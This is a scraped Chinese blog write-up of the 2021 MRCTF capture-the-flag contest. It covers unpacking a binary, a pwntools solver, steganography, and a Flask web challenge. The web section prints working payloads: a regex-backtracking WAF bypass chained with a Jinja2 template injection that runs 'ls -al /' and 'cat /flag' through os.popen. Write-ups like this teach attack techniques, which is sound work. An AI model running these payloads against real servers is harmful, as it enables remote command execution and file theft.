21

CTF | 2021 MRCTF WriteUp

 3 years ago
source link: https://miaotony.xyz/2021/04/15/CTF_2021MRCTF/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client
2021 MRCTF WriteUp
image-20210414230156814.png

2021 MRCTF

https://2021.mrctf.fun/

比赛时间

2021-04-10 9:00 - 2021-4-11 21:00

比赛规则

单人解题赛

前几天看北邮 天璇Merak 战队整了个招新赛,喵喵也来随便玩玩好了!

什么鬼招新赛嘛,怎么巨大多 check in 题目,然而喵喵并不能 check in……

喵呜,题目还是比较顶的,喵喵确实也不会做什么,大哭。

Real_CHECKIN

直接丢进 IDA 发现只有一个 entry,看来是加壳了。

丢进 FUPX 里一看,果然加了 UPX 壳。

image-20210410221618087.png

脱一下壳,再扔进 IDA。

image-20210410221654708.png

tvjdvez7D0vSyZbnzv90mf9nuKnurL8YBZiXiseHFq== 直接拿去 base64 解码发现是乱码。看来是魔改的 base64 了。

image-20210410224735510.png

发现编码表里 大小写反过来了……草!

image-20210410224700889.png

于是大小写反过来,改一下编码表,再拿去 base64 解码就能拿 flag 了。

MRCTF{wElc0Me_t0_MRCTF_2o21!!!}

Extensive Reading:

爆破非默认Base64编码表

Crypto

friendly_sign-in

ez sign-in, just come and get the flag!
nc node.mrctf.fun 10007

Mirrors:

  • host, port = ‘nairw.top’, 4800

https://drive.buptmerak.cn/s/BTx9QNNskyKwnYH

from Crypto.Util.number import *
from hashlib import sha512
from random import choices
from flag import flag
import string


Bits = 512
length = len(flag) * 8


def proof_of_work() -> bool:
    alphabet = string.ascii_letters + string.digits
    head = "".join(choices(alphabet, k=8))
    print(f'POW: SHA512("{head}" + ?) starts with "11111"')
    tail = input().strip()
    message = (head + tail).encode()
    return sha512(message).hexdigest().startswith("11111")


def check_ans(_N, _x) -> bool:
    check = 0
    for i in range(len(_N)):
        check += _N[i] * _x[i]
    return check == 0


def main():
    if not proof_of_work():
        return
    print("Welcome to MRCTF2021, enjoy this friendly sign-in question~")
    flag_bits = bin(bytes_to_long(flag.encode()))[2:]
    N = [getPrime(Bits) for _ in range(length)]
    print('N =', N)
    X = []
    for i in range(length):
        x = [int(input().strip()) for _ in range(length)]
        if x in X:
            print('No cheat!')
            return
        if x.count(0) > 0:
            print('No trivial!')
            return
        if not check_ans(N, x):
            print('Follow the rule!')
            return
        X.append(x)
        print('your gift:', flag_bits[i])


main()

其实这个思路很简单,只需要生成

  • 每个数都不为0
  • 对应位置数字的乘积累加和为0

这样的序列就可以了。

那么怎么生成呢?

其实只需要任意 (length/2) 对数字交换一下,正负号交替一下,就能实现乘积累加和为 0 了。

那怎么不重复呢?

喵喵想了有一段时间,到最后一想,直接随机产生下标,把映射关系存一下,要是已经存在了冲突了就重新产生就完事了呀!

另外有个麻烦的地方就是交互吧,输入 224*224 个数字,跑起来都挺久的……

Exp:

from pwn import *
from Crypto.Util.number import *
from hashlib import sha512
from random import choices
import string
from tqdm import tqdm
from pwnlib.util.iters import mbruteforce

sh = remote('nairw.top', 4800)
context.log_level = 'debug'


def proof_of_work(sh):
    sh.recvuntil("SHA512(\"")
    head = sh.recv(8)  # .decode('utf-8')
    print("head:", head)
    sh.recvuntil('with \"11111\"')
    for a in tqdm(range(0x30, 0x7f)):
        for b in range(0x30, 0x7f):
            for c in range(0x30, 0x7f):
                for d in range(0x30, 0x7f):
                    rest = chr(a) + chr(b) + chr(c) + chr(d)
                    m = (head.decode('utf-8') + rest).encode("utf-8")
                    if sha512(m).digest().hex().startswith("11111"):
                        print('\nrest:', rest)
                        sh.sendline(rest)
                        # sh.recvuntil('again...God bless you get it...')
                        return
    # proof = mbruteforce(lambda x: sha512((head + x).encode('utf-8')).hexdigest().startswith(
    #     "11111"), string.ascii_letters + string.digits, length=4, method='fixed')
    # print('rest:', proof)
    # sh.sendline(proof)


def generate_idx(length):
    """
    随机生成对换的下标 dict
    """
    idx_list = list(range(length))
    idx_result = {}
    for _ in range(length//2):
        while True:
            r = choices(idx_list)[0]
            t = choices(idx_list)[0]
            if r != t:
                # print(r, t)
                # 一半正 一半负
                idx_result[r] = [t, 1]  # 正负号
                idx_result[t] = [r, -1]
                idx_list.remove(r)
                idx_list.remove(t)
                break
    return idx_result


def main():
    proof_of_work(sh)
    sh.recvuntil("question~")
    sh.recvuntil("N = ")
    tmp = sh.recvuntil("]")
    tmp = tmp.decode('utf-8').strip()
    tmp = eval(tmp)
    print('====================')
    print(tmp)
    print("flag len:", len(tmp) // 8)
    # 28 bits
    N = tmp
    length = len(N)
    print(length)

    idx_history = []
    flag_bits = ""
    for i in range(length):
        idx = generate_idx(length)
        while idx in idx_history:
            idx = generate_idx(length)
        idx_history.append(idx)

        for j in range(length):
            try:
                t = N[idx[j][0]] * idx[j][1]
            except IndexError:
                print(idx, i, j)
                raise Exception
            payload = str(t)
            sh.sendline(payload)

        sh.recvuntil('your gift: ')
        x = sh.recv(1).decode('utf-8')
        print(f"=======> flag_{i+1}: {x}")
        flag_bits += x

        with open('flag.txt', 'a', encoding='utf-8') as f:
            f.write(f"{i+1}: {x} ")
            f.write(f"{flag_bits}\n")

    print(flag_bits)
    # flag_bits = "1001101010100100100001101010100010001100111101101100101010000000011001101111001010111110110001101101000001100110110001101101011010111110011000101101110010111110111000001110010001100000110001001101100001100110110110101111101"
    flag_int = int(flag_bits, 2)
    flag = long_to_bytes(flag_int)
    print("=====> flag:", flag)


if __name__ == '__main__':
    main()

最后得到的 flag bits 为

转换为 bytes

MRCTF{e@3y_ch3ck_1n_pr0bl3m}

wwwafed_app

I bought a WAF for my vulnerable app, and I think it’s unbreakable now.

node.mrctf.fun:15000

/waf 源码:

import re,sys
import timeout_decorator

@timeout_decorator.timeout(5)
def waf(url):
	# only xxx.yy-yy.zzz.mrctf.fun allow
	pat = r'^(([0-9a-z]|-)+|[0-9a-z]\.)+(mrctf\.fun)$'
	if re.match(pat,url) is None:
		print("BLOCK",end='') # 拦截
	else:
		print("PASS",end='') # 不拦截

if __name__ == "__main__":
	try:
		waf(sys.argv[1])
	except:
		print("PASS",end='')

可以注意到如果超时了的话 except 里也是 PASS。

另外发现 server 是 gunicorn,源码也是 python,盲猜是 flask 模板注入。

发现貌似可以正则回溯超时+空行绕过。

xadsfadsfadsfas.dfasdf-asdf-adsfadsf.lajds.-92341012dsfasf8.5.mrctf.fun
{{161*1651}}

eGFkc2ZhZHNmYWRzZmFzLmRmYXNkZi1hc2RmLWFkc2ZhZHNmLmxhamRzLi05MjM0MTAxMmRzZmFzZjguNS5tcmN0Zi5mdW4Ke3sxNjEqMTY1MX19

GET /api/spider/eGFkc2ZhZHNmYWRzZmFzLmRmYXNkZi1hc2RmLWFkc2ZhZHNmLmxhamRzLi05MjM0MTAxMmRzZmFzZjguNS5tcmN0Zi5mdW4Ke3sxNjEqMTY1MX19
image-20210411200800302.png

/

{{""["\x5f\x5fcla""ss\x5f\x5f"]["\x5f\x5fba""se\x5f\x5f"]["\x5f\x5fsubcla""sses\x5f\x5f"]()[408]["\x5f\x5fin""it\x5f\x5f"]["\x5f\x5fglo""bals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls -al /")["read"]()}}

http://node.mrctf.fun:15000/api/spider/eGFkc2ZhZHNmYWRzZmFzLmRmYXNkZi1hc2RmLWFkc2ZhZHNmLmxhamRzLi05MjM0MTAxMmRzZmFzZjguNS5tcmN0Zi5mdW4Ke3siIlsiXHg1Zlx4NWZjbGEiInNzXHg1Zlx4NWYiXVsiXHg1Zlx4NWZiYSIic2VceDVmXHg1ZiJdWyJceDVmXHg1ZnN1YmNsYSIic3Nlc1x4NWZceDVmIl0oKVs0MDhdWyJceDVmXHg1ZmluIiJpdFx4NWZceDVmIl1bIlx4NWZceDVmZ2xvIiJiYWxzXHg1Zlx4NWYiXVsiXHg1Zlx4NWZidWlsdGluc1x4NWZceDVmIl1bIlx4NWZceDVmaW1wb3J0XHg1Zlx4NWYiXSgib3MiKVsicG9wZW4iXSgibHMgLWFsIC8iKVsicmVhZCJdKCl9fQ==


访问'xadsfadsfadsfas.dfasdf-asdf-adsfadsf.lajds.-92341012dsfasf8.5.mrctf.fun
total 88
drwxr-xr-x   1 root root 4096 Apr 11 11:55 .
drwxr-xr-x   1 root root 4096 Apr 11 11:55 ..
-rwxr-xr-x   1 root root    0 Apr 11 10:05 .dockerenv
dr-xr-xr-x   1 root root 4096 Apr 11 10:05 app
drwxr-xr-x   1 root root 4096 Mar 30 23:04 bin
drwxr-xr-x   2 root root 4096 Mar 19 23:44 boot
drwxr-xr-x   5 root root  340 Apr 11 10:05 dev
drwxr-xr-x   1 root root 4096 Apr 11 10:05 etc
-rw-r--r--   1 root root    2 Apr 11 11:55 flag
drwxr-xr-x   2 root root 4096 Mar 19 23:44 home
drwxr-xr-x   1 root root 4096 Mar 30 23:04 lib
drwxr-xr-x   2 root root 4096 Mar 29 00:00 lib64
drwxr-xr-x   2 root root 4096 Mar 29 00:00 media
drwxr-xr-x   2 root root 4096 Mar 29 00:00 mnt
drwxr-xr-x   2 root root 4096 Mar 29 00:00 opt
dr-xr-xr-x 507 root root    0 Apr 11 10:05 proc
drwx------   1 root root 4096 Apr 11 10:05 root
drwxr-xr-x   3 root root 4096 Mar 29 00:00 run
drwxr-xr-x   1 root root 4096 Mar 30 23:03 sbin
drwxr-xr-x   2 root root 4096 Mar 29 00:00 srv
dr-xr-xr-x  13 root root    0 Apr 11 10:05 sys
drwxrwxrwt   1 root root 4096 Apr 11 10:05 tmp
drwxr-xr-x   1 root root 4096 Mar 29 00:00 usr
drwxr-xr-x   1 root root 4096 Mar 29 00:00 var
'失败!

whoami ==> root

读 flag

xadsfadsfadsfas.dfasdf-asdf-adsfadsf.lajds.-92341012dsfasf8.5.mrctf.fun
{{""["\x5f\x5fcla""ss\x5f\x5f"]["\x5f\x5fba""se\x5f\x5f"]["\x5f\x5fsubcla""sses\x5f\x5f"]()[408]["\x5f\x5fin""it\x5f\x5f"]["\x5f\x5fglo""bals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("cat /flag")["read"]()}}

MRCTF{eeeeeeeeeeeeeeeeeeeeez_NFA-WAF_8ypaS5!}

读一下题目源码 start.py

from flask import Flask, request,render_template,url_for
from jinja2 import Template
import requests,base64,shlex,os

app = Flask(__name__)

@app.route("/")
def index():
	return render_template('index.html')

@app.route("/waf")
def wafsource():
	return open("waf.py").read()

@app.route("/source")
def appsource():
	return open(__file__).read()

@app.route("/api/spider/<url>")
def spider(url):
	url = base64.b64decode(url).decode('utf-8')
	safeurl = shlex.quote(url)
	block = os.popen("python3 waf.py " + safeurl).read()
	if block == "PASS":
		try:
			req = requests.get("http://"+url,timeout=5)
			return Template("访问成功!网页返回了{}字节数据".format(len(req.text))).render()
		except:
			return Template("访问{}失败!".format(safeurl)).render()
	else:
		return Template("WAF已拦截,请不要乱输入参数!").render()

if __name__ == "__main__":
	app.run(host="0.0.0.0",port=5000,debug=True)

啊 有 /source 源码泄露的啊((下次做题先扫一扫好了

讲个笑话,这题打的时候最开始还读到有 flag 的,然后发现内容是 1

再一读发现没东西了。再一看根目录,flag 你去哪了……

问了问出题人

image-20210411213829805.png

噢对,root 权限 xswl!

Extensive Reading:

PHP利用PCRE回溯次数限制绕过某些安全限制

ez_larave1

http://node.mrctf.fun:10012/

https://drive.buptmerak.cn/s/afGBmP8zjg47orG

根据修改时间,看一看最近修改的文件。

image-20210411024331176.png

Laravel 版本用的是 5.7.29,查了查发现有个 RCE。

然后这里的 PendingCommand.php__destruct() 里的 run 给注释掉了。

__destruct
__destruct

之后再参考下面的几篇

Laravel入坑之CVE-2019-9081复现分析

Laravel 5.7反序列化漏洞(CVE-2019-9081+2020第五空间题解)

找个能执行代码的地方,执行这个 run 就好。

(后面再来复现,咕咕咕

plane

This plane cannot fly~~~

Hint:

  • plane:721x-402y+9110z-1197483=0

![(153, 15, 120),(51, 104, 132),(229, 38, 115)](CTF_2021MRCTF/(153, 15, 120),(51, 104, 132),(229, 38, 115).png)

图片好花啊,看了一下发现在 blue plane 第7层存在奇怪的东西。

image-20210414233015328.png

然而提取出来啥也看不出。

根据题目 hint,估计是要根据 721x-402y+9110z-1197483=0 这个空间平面来划分图像空间,一半是黑,一半是白。

721x-402y+9110z-1197483=0
721x-402y+9110z-1197483=0

按照题目本意的话,应该是需要根据 (153, 15, 120), (51, 104, 132), (229, 38, 115) 这三个坐标来求出所给的平面的,不过即使给出来了当时还是没整出来((

写个脚本。

# coding: utf-8
"""
MRCTF2021 Misc plane
MiaoTony
"""

from PIL import Image


im = Image.open('(153, 15, 120),(51, 104, 132),(229, 38, 115).png')
rgb_im = im.convert('RGB')

print(rgb_im.size)
# (400, 400)
width = rgb_im.width
height = rgb_im.height

im2 = Image.new('RGB', rgb_im.size)

for j in range(height):
    for i in range(width):
        r, g, b = rgb_im.getpixel((i, j))
        if 721*r-402*g+9110*b-1197483 > 0:
            im2.putpixel((i, j), (255, 255, 255))

# im2.show()
# im2.save('test1.png')

得到一张图片,和 blue plane 7 很类似。(就是模仿 blue plane 7 确定的黑白)

test1.png

放大来看是这样的。

放大效果
放大效果

图片 纵向方向上 可以发现分了很多层,猜想是把二进制的 ASCII 编码到了黑白像素中了。

根据最右边纵向可以估计是 10000110,不对,反过来,01100001,正好是 ASCII 里的 a。于是需要上下反过来解码。

而且还是从上到下,一列有50个字符,每个字符从上到下是低位到高位。

(复现的时候其实这里试了好多次才发现的……

然后写个脚本解码吧。(接上面的)

data = ''
for i in range(width):
    cnt = 0
    x = ''
    for j in range(height):
        if im2.getpixel((i, j))[0] == 0:
            x = '1' + x
        else:
            x = '0' + x
        cnt += 1
        if cnt % 8 == 0:
            # print(x)
            ch = chr(int(x, 2))
            # print(ch)
            data += ch
            x = ''
print(data)

with open('result.txt', 'w', encoding='utf-8') as f:
    f.write(data)
Vm0wd2QyUXlVWGxWV0d4V1YwZDRWMVl3WkRSV01WbDNXa1JTVjAxV2JETlhhMUpUVmpBeFYySkVUbGhoTVVwVVZtcEJlRll5U2tWVWJHaG9UVlZ3VlZadGNFSmxSbGw1VTJ0V1ZXSkhhRzlVVmxaM1ZsWmFkR05GU214U2JHdzFWVEowVjFaWFNraGhSemxWVm14YU0xWnNXbUZrUjA1R1UyMTRVMkpIZHpGV1ZFb3dWakZhV0ZOcmFHaFNlbXhXVm0xNFlVMHhXbk5YYlVaclVqQTFSMVV5TVRSVk1rcElaSHBHVjFaRmIzZFdha1poVjBaT2NtRkhhRk5sYlhoWFZtMHhORmxWTUhoWGJrNVlZbFZhY1ZadGRHRk5SbFowWlVaT1ZXSlZjRWRaTUZaM1ZqSktWVkpZWkZwV1JWcHlWVEJhVDJOc2NFaGpSbEpUVmxoQ1dsWXhXbE5TTWxGNVVtdGthbEp0VWxsWmJGWmhZMnhXY1ZKdFJsUlNiR3cxVkZaU1UxWnJNWEpqUld4aFUwaENTRlpxU2tabFZsWlpXa1p3YkdFelFrbFhXSEJIVkRKU1YxWnVVbWhTYXpWeldXeG9iMWRHV25STlNHUnNVakJzTkZVeWRHdFhSMHBJVld4c1dtSkhhRlJXTUZwVFZqSkdSbFJzVG1sU2JrSmFWMnhXWVZReFdsaFRiRnBZVmtWd1YxbHJXa3RTUmxweFVWaG9hMVpzV2pGV01uaGhZVWRGZUdOR2JGaGhNVnBvVmtSS1QyTXlUa1phUjJoVFRXNW9WVlpHWTNoaU1rbDRWMWhvV0dKRk5WVlVWM1J6VGtaVmVXUkhkRmhTTUhCSlZsZDRjMWR0U2toaFJsSlhUVVp3VkZacVNrZFNiRkp6Vkcxc1UySnJTbUZXTW5oWFdWWlJlRmRzYUZSaVJuQlpWbXRXZDFZeGJISlhhM1JUVW14d2VGVldhRzloTVZwelYycEdWMDF1YUdoWlZXUkdaVWRPUjJKR2FHaE5WbkJ2Vm10U1MxUXlUWGxVYTFwaFVqSm9WRlJYTlc5V1ZscEhXVE5vYVUxcmJEUldNV2h2VjBkS1JrNVdWbFZXTTFKNlZHdGFWbVZYVWtoa1JtaFRUVWhDU2xac1pEUmpNV1IwVTJ0a1dHSlhhR0ZVVnpWdlYwWnJlRmRyWkZkV2EzQjZWa2R6TVZkR1NsWmpSV3hYWWxoQ1RGUnJXbEpsUm1SellVWlNhRTFzU25oV1Z6QjRUa2RHUjFaWVpHaFNWVFZWVlcxNGQyVkdWblJOVldSV1RXdHdWMWxyVW1GWFIwVjRZMGhLV2xaWFVrZGFWV1JQVTBVNVYxcEhhR2hOU0VKMlZtMTBVMU14VVhsVmEyUlVZbXR3YjFWcVNtOVdSbXhaWTBaa2JHSkhVbGxhVldNMVlWVXhXRlZyYUZkTmFsWlVWa2Q0YTFOR1ZuTlhiRlpYWWtoQ1NWWkdVa2RWTVZwMFVtdG9VRll5YUhCVmJHaERUbXhrVlZGdFJtcE5WMUl3VlRKMGExZEhTbGhoUjBaVlZucFdkbFl3V25KbFJtUnlXa1prVjJFelFqWldhMlI2VFZaWmQwMVdXbWxsYTFwWVdXeG9RMU14VWxkYVJWcHNVbTFTV2xkclZURldNVnB6WTBaV1dGWXpVbkpXVkVaelZqRldjMWRzYUdsV1ZuQlFWa1phWVdReVZrZFdXR3hyVWtWS1dGUldXbmRsVm10M1YyNWtXRkl3VmpSWk1GSlBWakpHY2xkcmVGZGhhM0JRVlRGa1MxSXhjRWRhUms1WFYwVktNbFp0TVRCVk1VMTRWVmhzVlZkSGVGWlpWRVozWWpGV2NWUnJUbGRTYlhoYVdUQmFhMWRHV25OalJteGFUVVpWTVZsV1ZYaGpiVXBGVld4a1RsWXlhREpXTVZwaFV6RkplRlJ1VG1GU2JGcFlXV3RhZDA1c1draGxSMFphVm0xU1IxUnNXbUZWUmxwMFlVWlNWVlpYYUVSVk1uaGhZekZ3UlZWdGNFNVdNVWwzVmxSS01HRXhaRWhUYkdob1VqQmFWbFp0ZUhkTk1XeFdWMjVrVTJKSVFraFdSM2hUVlRKRmVsRnFWbGRTTTJob1ZrUktSMVl4VG5WVmJFSlhVbFJXV1ZaR1l6RmlNV1JIWWtoR1ZHRXhjSE5WYlRGVFYyeGtjbFpVUmxkTlZuQjZXVEJhVjFkR1dYcFZia3BYVmtWYWVsWnFSbGRqTVdSellVZHNWMVp1UWxGV2ExcGhXVmRSZVZaclpGZFhSM2h5Vld0V1MxZEdVbGRYYm1Sc1ZtMTBNMVl5Tld0WFJrbDNWbXBTV2sxR1NsQldha3BIWTJ4a2NtVkdaR2hoTTBKUlZsUkdhMU14U1hoalJXUmhVbXMxV0ZZd1ZrdE5iRnAwVFZSQ1ZrMVZNVFJXVm1oelZsWmtTR1ZHV2xwV1JWb3pXV3BHVjJOV1VuSlViR1JUWWxob05WWnRNREZoTVZsNFYyNU9hbEpGU21oV2JHUk9UVlphV0dNemFGaFNiRm94V1RCYWExUnNXWGxoUkVwWFlXdEtjbFY2Umt0amF6VlhXa1phYVZKc2NGbFdSbEpMWWpGT1YxZHJhR3hTTUZwWVZGZDRTMU5XV2xoa1J6bG9UVlZzTlZsVmFFTldiVXBJWVVWT1lWSkZXbWhaZWtaM1VsWldkR05GTlZkTlZXd3pWbXhTUzAxSFJYaGFSV2hVWWtkb2IxVnFRbUZXYkZwMFpVaGtUazFYZUZkV01qVnJWVEpLU1ZGcmFGZFNNMmhVVmxSS1JtVnNSbkZXYkdSVFRUSm9iMVpyVWt0U01WbDRWRzVXVm1KRlNsaFZiRkpYVjFaYVIxbDZSbWxOVjFKSVdXdG9SMVpIUlhoalNFNVdZbFJHVkZZeWVHdGpiRnBWVW14a1RsWnVRalpYVkVKaFZqRmtSMWRZY0ZaaWEzQllWbXRXWVdWc1duRlNiR1JxVFZkU2VsbFZaSE5XTVZwMVVXeEdWMkV4Y0doWFZtUlNaVlphY2xwR1pGaFNNMmg1VmxkMFYxTXhaRWRWYkdSWVltMVNjMVp0TVRCTk1WbDVUbGQwV0ZKcmJETldiWEJUVjJzeFIxTnNRbGRoYTNCSVdUSjRhMk50VmtkYVJUVlhZbXRLU2xZeFVrcGxSazE0VTFob2FsSlhhSEJWYlRGdlZrWmFjMkZGVGxSTlZuQXdWRlpTUTFack1WWk5WRkpYWWtkb2RsWXdXbXRUUjBaSFlVWndhVmRIYUc5V2JURTBZekpOZUdORmFGQldiVkpVV1d0V2QxZHNXa2hsUjNCUFZteHNORll5TlU5aGJFcFlZVVpzVjJFeFZYaGFSM2h6VmpGYVdXRkhjR2xXV0VKSFZteGtOR0V4VW5OWFdHeG9Va1Z3V0ZsWGRFdGpiRlkyVW10MGFtRjZWbGhYYTFwcllWWktjMk5HYkZkU2JFcElWWHBCTVdNeFpISmhSM1JUVFVad1dWZFhlR0ZaVm1SWFYyeG9hMUo2Ykc5VVZsWjNUVVpzVmxkc1RsZFdiSEJaV1ZWV1UxWnJNWFZoUjJoYVpXdGFNMVZzV2xka1IwNUdUbFprVGxaWGQzcFdiWGhUVXpBeFNGSllhR0ZTVjJoVldXdGtiMkl4Vm5GUmJVWlhZa1p3TUZwVmFHdFVhekZZWlVaa1YwMXFWbkpXVkVwTFUxWkdjbHBHVms1V2JGVjRWMVphWVZNeFpGZFNiR3hoVW0xb2NGVnRlSGRpTVZweVZXdDBVMDFXYkRSV1Z6VkxWMGRLUjFOdVFsZGlSbkF6VmpGYVlWSXhiRFpTYld4T1ZqRktTVmRYZEc5U01WcElVbGhvYWxORk5WZFpiRkpIVmtaWmVXVkhkR3BpUm5CV1ZXMTRhMVJzV25WUmFscFlWa1ZLYUZacVJtdFNNV1JaWTBaYWFXRXpRbGxXYlhSWFdWZFdjMWR1UmxOaVIxSnhWRlprVTJWc2JGWmFTRTVYVFZad01WVlhlRWRXTWtWNFkwZG9XRlp0VWxOYVZscGhZMnh3UjFwR2FGTk5NbWcxVm14a01GWXhUWGhhUldSV1lrZFNXVmx0TVZOak1WcDBUVlJDVGsxV2JEVlViR1F3VjBaS2NtSkVUbGRpV0VKVVZqSnplRkl4VG5OUmJHUk9ZV3RhU0Zkc1dtRldNazV6WTBWb1UySkhVazlVVnpGdlUyeFplRlZyY0d4U2F6RTBWVEZvYjJGc1NsaGhTRUpXWWxSR2RsWnJXbUZqTWtaR1ZHeFNUbFp1UVhkV1JscFRVVEZhY2sxV1drNVdSa3BZV1d0a2IyUnNXWGRYYlhSVVVqQmFTRmxyV25kaFZtUklZVWM1VjJKVVJUQlpla3BQWXpKT1JtRkdRbGROTUVwVlYxZDBiMUV3TlVkWGJGWlVWMGRTVUZacVFuZFRWbFY1WkVjNVYySlZjRWxhVldSdlZqSktTRlZyT1ZWV2JIQjZWbXBHWVZkWFJraGpSMnhYVjBWS1NGWnRlR3RPUjBWNFZXNU9XRmRIZUc5VmExWjNWMFpTVjFkdVpHaFNiRmt5VlcxMGQySkdTbk5UYWtaWFVucEdTRlpVU2t0U01rNUhZa1pvVjAweFNtOVhhMUpDVFZkTmVGcElTbWhTTTJoVVZGVmFkMkZHV25STlNHaFdUVlUxV0ZZeU5WTmhNVW8yWWtjNVZWWnNXbnBVYkZwelZtMUdSbFJzWkdsV1dFSktWMVpXVjFReGJGZFRhMXBZWW10d1dGbFhkR0ZoUm5CR1ZsUldWMDFXY0hsVWJGcHJZVmRGZDFkWWNGZGlXR2h4V2tSQmVGWXhVbGxoUmxwWVVqSm9XbGRYTVhwTlZscFhZa2hLWVZKNmJGaFphMXAzWld4WmVVNVhkRlZoZWtaWVdUQm9jMVl3TVhGU2EyaGFWak5vYUZreU1VOVNWa1owVW14T1YwMVZXWHBXYlhoVFV6RktkRlp1VGxOaVIzaG9WVzB4YjJOR1ZuUmxTR1JwVFZkU1dGWlhkREJWTURGWFlrUlNWMUo2VmxoV2JHUkxWMGRHUms5V1ZsZGxhMW95Vm1wR1lXRXhXWGhXYmtwaFVqTlNUMWxVUm5kVFZscHhVMnBTVjAxV1ZqVlZNblJyWVd4T1JrNVdaRnBpUmtwSVZtdGFVMVl4WkhOWGJYaFhUVVJSZVZaWE1UUmlNVlY1VWxod1VtSlZXbGhXYlRGT1pVWnNjVkpzY0d4U2JWSjRWako0UzJGSFNrWmpSMmhZVm0xUmQxZFdXbk5XTWs1SFYyeG9hVkl4U25oV1JtUXdXVlpKZUZWWWFGaGlXRkp2VldwR1lXVnNXWGxqUjBaWFRVUkdXVlpXYUd0WFJscDBWV3hPWVZac2NHaFpNbmgzVWpGd1IyRkdUazVOYldjeFZtMTRhMDFHV1hoVVdHaGhVbGRTVjFsclpGTlhWbXgwVFZaT2FrMVdjREJhVldoUFZERmFkVkZzWkZwV1YxRjNWakJhU21ReVRrWmhSbkJPVW01Q01sWnFTbnBsUms1SFZtNVdXR0pIVWs5WlYzUmhVMFprYzFkdFJsZE5helY2V1RCV2IxVXlTa2hWYkdoVlZteGFNMVpYZUdGak1WWnlXa2RvVGxaVVJUQldWRVp2WWpKR2MxTnNhRlppVjJoWFdXeG9UbVZHV1hkWGJIQnJUVlp3ZVZwRlZURmhWa3AxVVZoa1YxSnNjRlJWVkVaaFkyc3hWMWRyTlZkU2EzQlpWbTB3ZUdJeVZuTlhiazVZWWxoU1ZWVnFSbUZUUmxsNVpVaGtWMDFWY0ZoWmFrNTNWMFpaZWxGcmFGZGhhM0JRVm1wR1YyUldUbk5XYld4VFRWVndWbFl4WkRSaU1rbDNUbFprV0dKc1NrOVZhMVpoWWpGU1YxZHVUazlTYkd3MVZHeFZOV0ZIU2taalJXUldUV3BHZGxacVNrdFRSbFp5VDFaV1YySklRbTlXYWtKclZHMVdkRkpyWkdoU2F6VndWVzB3TlU1R1dYaFZhMDVhVmpCV05GWlhOVTlYUm1SSVpVYzVWbUV4V2pOV01GcHpWMGRTUm1SSGNHbFNiR3Q1VmxjeE1FMUhSblJTYWxwWFlrZG9XVmxVUm5kaFJteFhWMnQwYWsxck5VaFphMXByVlRKS1JtTkZNVmhXTTBKSVZrUkdXbVZHY0VsVGJXaFRUVEpvVlZaR1ZtRmtNV1JYVjJ0a1lWSkdTbFZVVmxVeFYwWlplV1ZIT1doTlZXOHlXV3RqTlZaV1duTlhhazVWVmxad2VsWnRlR3RqTVZKeldrWmthVk5GU2xwV01WSkRZVEZKZUZkc1pGaGlhelZ4VldwS2IxbFdjRmhrUjBaT1RWWmFlbFl5ZUd0aE1VbDNUbFZrVldKR2NISldSM2hoVjBkUmVtTkdaR2xYUjJoVlZsaHdRbVZHVGtkVWJHeHBVbXMxYjFSWGVFdFdiR1JZVFZod1RsWnNjRmhaYTJoTFdWWktObUpHYUZwaE1YQXpXbGQ0V21WVk5WaGtSbFpvWld0YVdWZFVRbTlqTVZsM1RWaEdVMkV5YUdGV2FrNXZZVVpyZVUxVk9WTldhMW93VlcxNFQxWXdNVlpYV0hCWFlsaG9WRlY2Umt0a1JscDFWR3hPYVZJemFHOVdWekI0WWpKT1IxWnVVbXhUUjFKd1ZGWmtVMWRHV2xoa1JFSldUVVJHV0ZsclVsTldNVW8yVm14b1YySkhVa3hXTUdSSFVtczVWMVpzWkd4aE1XOTVWbTF3UjFsWFJYaFhXR2hYWW10d2FGVnFUbE5VTVd4VlVtNWtWRlpzY0hoVk1uQlRWakF4VjFacVZsWk5ibEp5V1ZkNFQxSnJOVmRhUm5CcFVtdHdTVlp0ZEdGVk1WbDRXa2hPV0dKWWFGaFVWVkpTWlZaYVdFMVVVbWhOVmtwNlZqSTFWMVZ0Um5OalJteFhZVEZhVEZsVldtRmpWa3AwWkVaT1RsWXhTWGhXYTJRMFZUSkdSazFZVW1oU2VteFlWbXBPVTFkR1pGZFhiazVYVFdzMVNGWXlNVWRWTVdSSFUyeGFWMkpVUmpaVVZtUlhZekpLUjFkdFJsTmxiWGhYVjFab2QxSXhXWGhoTTJSWVlsVmFXRlJYZEhkVFZscElZMFpPVjFZd1ZqVldWM2hQV1ZaYWMyTkhhRnBOYm1nelZXcEdkMUl5UmtkVWF6Vk9ZbGRqZUZadE1UUmhNbEY0VWxob2FWSnRhRlpaVkVwVFYwWnNkR1ZGZEdwTlZsWXpWMnRhVDJGck1WaGxTR3hYVFc1b2NsWkVSbUZrVmtaeldrWndWMVl4UmpOV2FrSmhVMjFSZVZScldtaFNia0pQVlcwMVEwMXNXbkZUYm5Cc1VtczFTVlZ0ZEdGaVJrcDBWVzA1V2xaRldqTlpha1poVjBVeFZWVnRhRTVoZWxWM1ZtMHhNR0V4YkZkVGJGWlhZa2RvWVZsc2FGTlVSbFY1WlVad2JGSnNXbmxaTUdRMFZUSkdObEpVUWxkV1JWcDJXV3BLUjJNeFRuTmhSbHBwVmpKb1dGZFhkR0ZUTVdSSFYydFdVMkpIVW5GVVYzUmhVakZhU0dWR1RsVmlSbkF4VlZab2ExWXhTbk5qUmxKV1ZrVmFhRmt5YzNoV01XUnlUbFprVTJFelFscFdNV1F3WVRKSmVWVnVUbGhYUjFKWldXeG9VMVpXVm5GUmJVWlVVbTE0VjFZeU5XdGhSbHAwVld0c1dsWlhUVEZXYWtwTFZsWktWVkZzY0d4aE0wSlFWMnhXYTFReFNuUlNhMlJTWWtkU2NGWnRkSGRXYkZsNFdrUkNWMDFzUmpSWGEyaFBWMGRGZVZWc2JGcGlSMmhFVmxWYVlXTldSblZhUmxKWFlrWlpNVmRyVm1wT1ZsbDVVMnhhYWxKWGVHaFdiR1JUWkd4YWNWTnJkRlJTYkZwNVZERmFWMVl5U2tsUmFscFhZbGhDU0ZkV1dtdFhSa3B5V2tkb1UyRjZWbmRXVnpCM1RsVTFSMWRZYUZaaE1EVmhWbXBDVjA1R1dsaE9WVGxZVW0xU1NWcFZZelZXYlVWNFYycE9WMDFHY0hwV01